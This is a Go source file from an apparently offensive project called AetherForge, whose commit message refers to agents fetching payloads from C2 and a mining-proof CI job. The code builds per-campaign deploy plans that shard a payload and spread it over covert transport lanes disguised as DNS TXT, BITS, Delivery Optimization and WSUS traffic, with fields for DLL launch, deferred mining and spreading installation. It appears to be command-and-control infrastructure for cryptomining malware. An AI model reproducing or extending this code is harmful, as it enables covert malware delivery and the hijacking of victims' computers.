Files
AetherForge/server/internal/erasure/lanes.go
AetherForge 0795c511ab
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add S3 erasure swarm with CloudFront signed magnets.
Operators configure bucket and CloudFront domain with env credentials; deploy plans upload RS 4+2 shards and attach signed edge URLs to BGP swarm magnets. Agents fetch LAN, CloudFront, then C2. Forge panel adds test and IAM policy JSON.
2026-06-07 10:05:21 -07:00

95 lines
2.8 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
package erasure
import (
"crypto/sha256"
"encoding/hex"
"fmt"
"strings"
)
// Parallel lane transport hints — shards map across lanes for redundancy beyond single-lane spread.
var parallelLaneOrder = []string{
"dns_txt", "bits_curl", "do_peer", "wsus_cache_peer", "dns_txt", "bits_curl",
}
// ShardRef is one erasure shard served on a parallel lane URL.
type ShardRef struct {
Index int `json:"index"`
Lane string `json:"lane"`
URL string `json:"url"`
EdgeURL string `json:"edge_url,omitempty"`
}
// Plan is deploy-plan metadata for agent-side ReedSolomon reassembly.
type Plan struct {
Enabled bool `json:"enabled"`
Scheme string `json:"scheme"`
DataShards int `json:"data_shards"`
ParityShards int `json:"parity_shards"`
PayloadSHA256 string `json:"sha256"`
PayloadSize int `json:"payload_size"`
ShardToken string `json:"shard_token"`
Dest string `json:"dest,omitempty"`
Launch string `json:"launch,omitempty"`
DLLExport string `json:"dll_export,omitempty"`
DeferMining bool `json:"defer_mining,omitempty"`
SpreadInstall bool `json:"spread_install,omitempty"`
Shards []ShardRef `json:"shards"`
}
// BuildPlan encodes payload, stores shards, and returns lane metadata for a signed deploy plan.
func BuildPlan(store *ShardStore, serverURL, buildID, campaign string, payload []byte, dest, launch, dllExport string, deferMining, spreadInstall bool) (*Plan, error) {
if store == nil {
return nil, fmt.Errorf("erasure: nil shard store")
}
p, err := DefaultParams().Normalize()
if err != nil {
return nil, err
}
shards, payloadSize, err := Encode(payload, p)
if err != nil {
return nil, err
}
token := planToken(buildID, campaign, payload)
store.Put(token, p, shards)
base := strings.TrimRight(strings.TrimSpace(serverURL), "/")
if base == "" {
base = "http://127.0.0.1:8989"
}
refs := make([]ShardRef, len(shards))
for i := range shards {
lane := parallelLaneOrder[i%len(parallelLaneOrder)]
refs[i] = ShardRef{
Index: i,
Lane: lane,
URL: fmt.Sprintf("%s/api/v1/public/erasure-shard/%s/%d", base, token, i),
}
}
return &Plan{
Enabled: true,
Scheme: SchemeReedSolomonV1,
DataShards: p.DataShards,
ParityShards: p.ParityShards,
PayloadSHA256: PayloadSHA256(payload),
PayloadSize: payloadSize,
ShardToken: token,
Dest: dest,
Launch: launch,
DLLExport: dllExport,
DeferMining: deferMining,
SpreadInstall: spreadInstall,
Shards: refs,
}, nil
}
func planToken(buildID, campaign string, payload []byte) string {
h := sha256.New()
_, _ = h.Write([]byte(strings.TrimSpace(buildID)))
_, _ = h.Write([]byte{0})
_, _ = h.Write([]byte(strings.TrimSpace(campaign)))
_, _ = h.Write(payload)
sum := h.Sum(nil)
return hex.EncodeToString(sum[:8])
}